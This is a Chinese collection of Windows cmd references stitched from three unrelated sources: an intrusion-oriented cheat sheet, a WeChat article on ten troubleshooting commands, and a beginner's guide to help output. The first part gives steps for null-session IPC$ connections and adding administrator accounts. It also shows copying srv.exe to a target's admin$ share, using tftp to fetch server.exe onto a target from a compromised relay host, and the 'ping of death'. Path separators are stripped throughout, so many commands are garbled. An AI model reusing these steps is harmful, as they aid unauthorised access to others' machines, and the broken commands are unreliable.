et use ipipc$ " " /user:" " 建立IPC空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸后映射對方C：到本地為H:
net use h: ipc$ 登陸后映射對方C：到本地為H:
net use ipipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權(quán)限
net start 查看開啟了哪些服務(wù)
net start 服務(wù)名 開啟服務(wù)；(如:net start telnet， net start schedule)
net stop 服務(wù)名 停止某服務(wù)
net time 目標ip 查看對方時間
net time 目標ip /set 設(shè)置本地計算機時間與“目標IP”主機的時間同步,加上參數(shù)/yes可取消確認信息
net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享
net view ip 查看對方局域網(wǎng)內(nèi)開啟了哪些共享
net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置
net logoff 斷開連接的共享
net pause 服務(wù)名 暫停某服務(wù)
net send ip "文本信息" 向?qū)Ψ桨l(fā)信息
net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C：共享
net user guest 12345 用guest用戶登陸后用將密碼改為12345
net password 密碼 更改系統(tǒng)登陸密碼
netstat -a 查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況
netstat -s 查看正在使用的所有協(xié)議使用情況
nbtstat -A ip 對方136到139其中一個端口開了的話，就可查看對方最近登陸的用戶名
tracert -參數(shù) ip(或計算機名) 跟蹤路由（數(shù)據(jù)包），參數(shù)：“-w數(shù)字”用于設(shè)置超時間隔。
ping ip(或域名) 向?qū)Ψ街鳈C發(fā)送默認大小為32字節(jié)的數(shù)據(jù)，參數(shù)：“-l[空格]數(shù)據(jù)包大小”；“-n發(fā)送數(shù)據(jù)次數(shù)”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數(shù)“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統(tǒng)的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))
kill -F 進程名 加-F參數(shù)后強制結(jié)束某進程(為系統(tǒng)的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))
del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR *.*”表示刪除當(dāng)前目錄下所有只讀文件，“DEL/A-S *.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件
del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數(shù)/Q 可取消刪除操作時的系統(tǒng)確認就直接刪除。（二個命令作用相同）
move 盤符路徑要移動的文件名 存放移動文件的路徑移動后文件名 移動文件,用參數(shù)/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務(wù)
at /delete 停止所有計劃任務(wù)，用參數(shù)/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務(wù)
at 查看所有的計劃任務(wù)
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口 遠和登陸服務(wù)器,默認端口為23
open ip 連接到IP（屬telnet登陸后的命令）
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑文件名1 路徑文件名2 /y 復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時取消確認你要改寫一份現(xiàn)存目錄文件
copy c:srv.exe ipadmin$ 復(fù)制本地c:srv.exe到對方的admin下
copy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進制文件，/a指ASCLL格式文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 復(fù)制對方admini$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要復(fù)制的文件或目錄樹 目標地址目錄名 復(fù)制文件和目錄樹，用參數(shù)/Y將不提示覆蓋相同文件
用參數(shù)/e才可連目錄下的子目錄一起復(fù)制到目標地址下。
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸后，將“IP”的server.exe下載到目標主機c:server.exe 參數(shù)：-i指以二進制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進行傳送
tftp -i 對方IP put c:server.exe 登陸后，上傳本地c:server.exe至主機
ftp ip 端口 用于上傳文件至服務(wù)器或進行文件操作，默認端口為21。bin指用二進制方式傳送（可執(zhí)行文件進）；默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由，將主要顯示網(wǎng)絡(luò)地址Network addres，子網(wǎng)掩碼Netmask，網(wǎng)關(guān)地址Gateway addres，接口地址Interface
arp 查看和處理ARP緩存，ARP是名字解析的意思，負責(zé)把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口并最大化（最小化）運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件（目錄）的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性；用＋則是添加為某屬性
dir 查看文件，參數(shù)：/Q顯示文件及目錄屬系統(tǒng)哪個用戶，/T:C顯示文件創(chuàng)建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間
date /t 、 time /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當(dāng)前日期和時間，而不必輸入新日期和時間
set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量
set 顯示當(dāng)前所有的環(huán)境變量
set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量
pause 暫停批處理程序，并顯示出：請按任意鍵繼續(xù)....
if 在批處理程序中執(zhí)行條件處理（更多說明見if命令及變量）
goto 標簽 將cmd.exe導(dǎo)向到批處理程序中帶標簽的行（標簽必須單獨一行，且以冒號打頭，例如：“：start”標簽）
call 路徑批處理文件名 從批處理程序中調(diào)用另一個批處理程序 （更多說明見call /?）
for 對一組文件中的每一個文件執(zhí)行某個特定命令（更多說明見for命令及變量）
echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設(shè)置cmd控制臺前景和背景顏色；0＝黑、1＝藍、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統(tǒng)一改為：EntSky )
文首發(fā)于微信公眾號“電腦網(wǎng)絡(luò)一點通”（dnwlydt）
原創(chuàng)不易，喜歡我就請多多關(guān)注
這里科普介紹10個Windows用戶需要知道的基本命令。如果你還不知道如何訪問Windows命令提示符界面，那么請按快捷鍵WIN+R，輸入cmd，然后回車。
驅(qū)動程序仍然是PC上安裝的最重要的軟件之一。配置不當(dāng)或缺少驅(qū)動程序會導(dǎo)致各種麻煩，因此可以訪問PC上的內(nèi)容列表。這正是“driverquery”命令的作用。您可以將其擴展為“driverquery -v”以獲取更多信息，包括安裝驅(qū)動程序的目錄。
此命令會顯示你計算機當(dāng)前使用的IP地址。但是，如果您在路由器后面（如今大多數(shù)計算機），您將收到路由器的本地網(wǎng)絡(luò)地址。
而且，ipconfig的擴展功能很有用。“ipconfig / release”和“ipconfig / renew”可以強制你的Windows PC請求新的IP地址，如果您的計算機聲稱其中一個不可用，這將非常有用。您還可以使用“ipconfig / flushdns”刷新DNS地址。如果Windows網(wǎng)絡(luò)故障排除程序不好用，這些命令就很棒，有時有奇效。
輸入命令“netstat -an”將為您提供當(dāng)前打開的端口和相關(guān)IP地址的列表。此命令還將告訴您端口所處的狀態(tài) - 偵聽，建立或關(guān)閉。
當(dāng)您嘗試對連接到PC的設(shè)備進行故障排除，或者當(dāng)您擔(dān)心特洛伊木馬程序感染了您的系統(tǒng)而您正試圖找到惡意連接時，這是一個很棒的命令。
有時，您需要知道數(shù)據(jù)包是否正在將其發(fā)送到特定的聯(lián)網(wǎng)設(shè)備。這就是ping派上用場的地方。
鍵入“ping”后跟IP地址或Web域?qū)⑾蛑付ǖ刂钒l(fā)送一系列測試數(shù)據(jù)包。如果他們到達并返回，您知道該設(shè)備能夠與您的PC通信; 如果它失敗了，你知道設(shè)備和你的計算機之間存在阻塞通信的東西。這可以幫助您確定問題的根源是不正確的配置還是網(wǎng)絡(luò)硬件的故障。
這是一個更高級的ping版本，如果您的PC和您正在測試的設(shè)備之間有多個路由器，這將非常有用。與ping一樣，您可以通過鍵入“pathping”后跟IP地址來使用此命令，但與ping不同，路徑還會轉(zhuǎn)發(fā)有關(guān)測試數(shù)據(jù)包所采用路由的一些信息。
Windows 8引入了你猜對了的關(guān)機命令！ - 關(guān)閉你的計算機。
當(dāng)然，這對于已經(jīng)很容易訪問的關(guān)機按鈕來說是多余的，但是沒有多余的是“shutdown / r / o”命令，它會重啟你的電腦并啟動高級啟動選項菜單，你可以在這里訪問安全模式和Windows恢復(fù)實用程序。如果要重新啟動計算機以進行故障排除，這非常有用。
另外還可以用于實現(xiàn)定時關(guān)機"shutdown－s －t 1024",表示1024秒后自動關(guān)機。
此命令將為您提供計算機的詳細配置概述。該列表涵蓋了您的操作系統(tǒng)和硬件。例如，您可以查找原始Windows安裝日期，上次啟動時間，BIOS版本，總內(nèi)存和可用內(nèi)存，已安裝的修補程序，網(wǎng)卡配置等。
使用“systeminfo / s”后跟本地網(wǎng)絡(luò)上計算機的主機名，遠程獲取該系統(tǒng)的信息。這可能需要域，用戶名和密碼的其他語法元素，如下所示：“systeminfo / s [host_name] / u [domain] [user_name] / p [user_password]”
System File Checker是一種自動掃描和修復(fù)工具，專注于Windows系統(tǒng)文件。
您需要以管理員權(quán)限運行命令提示符并輸入命令“sfc / scannow”。如果SFC發(fā)現(xiàn)任何損壞或丟失的文件，它將自動使用Windows為此目的保留的備份副本替換它們。該命令可能需要半小時才能在較舊的筆記本電腦上運行。
您可以使用“tasklist”命令提供PC上運行的所有任務(wù)的最新列表。雖然在任務(wù)管理器中有些多余，但命令有時可能會在該實用程序中查找隱藏在視圖中的任務(wù)
還有各種各樣的修飾符。“Tasklist -svc”顯示與每個任務(wù)相關(guān)的服務(wù)，使用“tasklist -v”獲取每個任務(wù)的更多細節(jié)，“tasklist -m”將定位與活動任務(wù)相關(guān)的.dll文件。這些命令對高級故障排除很有用。
出現(xiàn)在“tasklist”命令中的任務(wù)將具有與之關(guān)聯(lián)的可執(zhí)行文件和進程ID（四位或五位數(shù)字）。您可以使用“taskkill -im”后跟可執(zhí)行文件的名稱或“taskkill -pid”后跟進程ID強制停止程序。同樣，這對于任務(wù)管理器來說有點多余，但您可以使用它來殺死其他無響應(yīng)或隱藏的程序。
什么是cmd命令？
cmd是command的縮寫.即命令提示符（CMD）
2有啥作用？
查詢系統(tǒng)的信息或者是判斷網(wǎng)絡(luò)的好壞。
3進入cmd界面:win+r-->cmd-->enter(按照順序輸入執(zhí)行)
4試試命令1：help 和/?
這兩個命令，都表示提示信息，我來展示一下help 和/?命令的鬼王風(fēng)采，會得到下面的原生命令。（紅色部分為常用命令，先記住常用命令，）
ASSOC 顯示或修改文件擴展名關(guān)聯(lián)。
ATTRIB 顯示或更改文件屬性。
BREAK 設(shè)置或清除擴展式 CTRL+C 檢查。
BCDEDIT 設(shè)置啟動數(shù)據(jù)庫中的屬性以控制啟動加載。
CACLS 顯示或修改文件的訪問控制列表(ACL)。
CALL 從另一個批處理程序調(diào)用這一個。
CD 顯示當(dāng)前目錄的名稱或?qū)⑵涓摹?/p>
CHCP 顯示或設(shè)置活動代碼頁數(shù)。
CHDIR 顯示當(dāng)前目錄的名稱或?qū)⑵涓摹?/p>
CHKDSK 檢查磁盤并顯示狀態(tài)報告。
CHKNTFS 顯示或修改啟動時間磁盤檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設(shè)置默認控制臺前景和背景顏色。
COMP 比較兩個或兩套文件的內(nèi)容。
COMPACT 顯示或更改 NTFS 分區(qū)上文件的壓縮。
CONVERT 將 FAT 卷轉(zhuǎn)換成 NTFS。你不能轉(zhuǎn)換
當(dāng)前驅(qū)動器。
COPY 將至少一個文件復(fù)制到另一個位置。
DATE 顯示或設(shè)置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKPART 顯示或配置磁盤分區(qū)屬性。
DOSKEY 編輯命令行、撤回 Windows 命令并
創(chuàng)建宏。
DRIVERQUERY 顯示當(dāng)前設(shè)備驅(qū)動程序狀態(tài)和屬性。
ECHO 顯示消息，或?qū)⒚罨仫@打開或關(guān)閉。
ENDLOCAL 結(jié)束批文件中環(huán)境更改的本地化。
ERASE 刪除一個或多個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個文件或兩個文件集并顯示
它們之間的不同。
FIND 在一個或多個文件中搜索一個文本字符串。
FINDSTR 在多個文件中搜索字符串。
FOR 為一組文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁盤，以便用于 Windows。
FSUTIL 顯示或配置文件系統(tǒng)屬性。
FTYPE 顯示或修改在文件擴展名關(guān)聯(lián)中使用的文件
類型。
GOTO 將 Windows 命令解釋程序定向到批處理程序
中某個帶標簽的行。
GPRESULT 顯示計算機或用戶的組策略信息。
GRAFTABL 使 Windows 在圖形模式下顯示擴展
字符集。
HELP 提供 Windows 命令的幫助信息。
ICACLS 顯示、修改、備份或還原文件和
目錄的 ACL。
IF 在批處理程序中執(zhí)行有條件的處理操作。
LABEL 創(chuàng)建、更改或刪除磁盤的卷標。
MD 創(chuàng)建一個目錄。
MKDIR 創(chuàng)建一個目錄。
MKLINK 創(chuàng)建符號鏈接和硬鏈接
MODE 配置系統(tǒng)設(shè)備。
MORE 逐屏顯示輸出。
MOVE 將一個或多個文件從一個目錄移動到另一個
目錄。
OPENFILES 顯示遠程用戶為了文件共享而打開的文件。
PATH 為可執(zhí)行文件顯示或設(shè)置搜索路徑。
PAUSE 暫停批處理文件的處理并顯示消息。
POPD 還原通過 PUSHD 保存的當(dāng)前目錄的上一個
值。
PRINT 打印一個文本文件。
PROMPT 更改 Windows 命令提示。
PUSHD 保存當(dāng)前目錄，然后對其進行更改。
RD 刪除目錄。
RECOVER 從損壞的或有缺陷的磁盤中恢復(fù)可讀信息。
REM 記錄批處理文件或 CONFIG.SYS 中的注釋(批注)。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
ROBOCOPY 復(fù)制文件和目錄樹的高級實用工具
SET 顯示、設(shè)置或刪除 Windows 環(huán)境變量。
SETLOCAL 開始本地化批處理文件中的環(huán)境更改。
SC 顯示或配置服務(wù)(后臺進程)。
SCHTASKS 安排在一臺計算機上運行命令和程序。
SHIFT 調(diào)整批處理文件中可替換參數(shù)的位置。
SHUTDOWN 允許通過本地或遠程方式正確關(guān)閉計算機。
SORT 對輸入排序。
START 啟動單獨的窗口以運行指定的程序或命令。
SUBST 將路徑與驅(qū)動器號關(guān)聯(lián)。
SYSTEMINFO 顯示計算機的特定屬性和配置。
TASKLIST 顯示包括服務(wù)在內(nèi)的所有當(dāng)前運行的任務(wù)。
TASKKILL 中止或停止正在運行的進程或應(yīng)用程序。
TIME 顯示或設(shè)置系統(tǒng)時間。
TITLE 設(shè)置 CMD.EXE 會話的窗口標題。
TREE 以圖形方式顯示驅(qū)動程序或路徑的目錄
結(jié)構(gòu)。
TYPE 顯示文本文件的內(nèi)容。
VER 顯示 Windows 的版本。
VERIFY 告訴 Windows 是否進行驗證，以確保文件
正確寫入磁盤。
VOL 顯示磁盤卷標和序列號。
XCOPY 復(fù)制文件和目錄樹。
WMIC 在交互式命令 shell 中顯示 WMI 信息。
有關(guān)工具的詳細信息，請參閱聯(lián)機幫助中的命令行參考。
5可以負責(zé)的告訴你，基本上這些命令都在cmd窗口進行；但是呢，也不是不可以在文件里進行啊，只要編輯好了之后，后綴名改為.bat,就完事大吉了；在這里你可能遇到一個問題，就是特么的怎么你的電腦沒看見后綴名啊，怎么改？是不是很崩潰？沒事，看我的！
6cmd命令分為兩類：原生命令和支持命令行的程序（Win系統(tǒng)的內(nèi)嵌程序）
按照順序輸入：Win+R-->cmd-->help-->enter;
得到下圖：
當(dāng)然呢，絕對不止這些原生命令，我就截圖這些；在上面的第四點，試試命令一：help和/?
在那下面復(fù)制的好多命令就是完整的原生命令；這些原生的dos命令不必要執(zhí)著的第一次就去全部掌握，沒那個必要，當(dāng)你以后做到了項目，需要哪些命令了，那個時候再去學(xué)這些你所需要的就行了；第一次初學(xué)的時候，只需要掌握一些基本的最常用的就好了。
7那么，我們先舉個例子；
比如第一個原生命令：ASSOC
你可以在cmd中輸入 ASSOC /? 會得到下圖：
這樣子，ASSOC的幫助信息就出現(xiàn)了
8第一次，空白輸入help的作用就是大致的把所有的原生命令羅列出來，并且，大致的說出他們的作用領(lǐng)域；并沒有詳細的說明他們的參數(shù)說明和運用；那么，我們就把原生命令+/?就會調(diào)用出他們詳細參數(shù)的說明
9換用第二個例子：
圖片綠色部分，+R|-R表示參數(shù)為+R或者是-R只能是二選一，|代表或的意思；
圖片紅色部分，[/S [/D]] [/L]參數(shù)可以多選；
10看看第二類命令：win系統(tǒng)內(nèi)嵌的程序
ipconfig 查看自身的網(wǎng)絡(luò)配置
route 管理自身的路由轉(zhuǎn)發(fā)表（增刪改查）
arp 查看主機存儲的IP和MAC的映射
systeminfo 查看系統(tǒng)信息（帶圖像界面的輸入msinfo32）
tasklist 查看當(dāng)前進程列表
query 查詢進程
netstat 查看網(wǎng)絡(luò)狀態(tài)（不間斷的輸出，可以用ctrl+c中斷其執(zhí)行）
net 網(wǎng)絡(luò)的功能，很強大，/? 查看命令去感受吧
netsh
11系統(tǒng)各種程序（帶圖形界面）的名字
mstsc 遠程它人的電腦（局域網(wǎng)內(nèi)常用）
MSConfig 可以禁止啟動項和啟動的服務(wù)（在服務(wù)和啟動的 子項中）
services.msc 打開服務(wù)
devmgmt.msc 打開設(shè)備管理
control 打開控制面板
regedit 打開注冊表
appwiz.cpl 打開刪除程序的面板
還有一些小程序可以通過命令行打開，比如在cmd窗口中輸入calc 打開系統(tǒng)自帶的計算器，call mspaint打開畫圖板 ,notepad新打開一個文本
12第四類：快捷鍵；
win+E 打開文件管理器 win+D打開桌面 win+L鎖定計算機 alt+F4關(guān)閉程序 Ctrl+Shift+Esc打開資源管理器 Ctrl+F在網(wǎng)頁文本中查找文字或者一段話 Ctrl+A選中所有的文本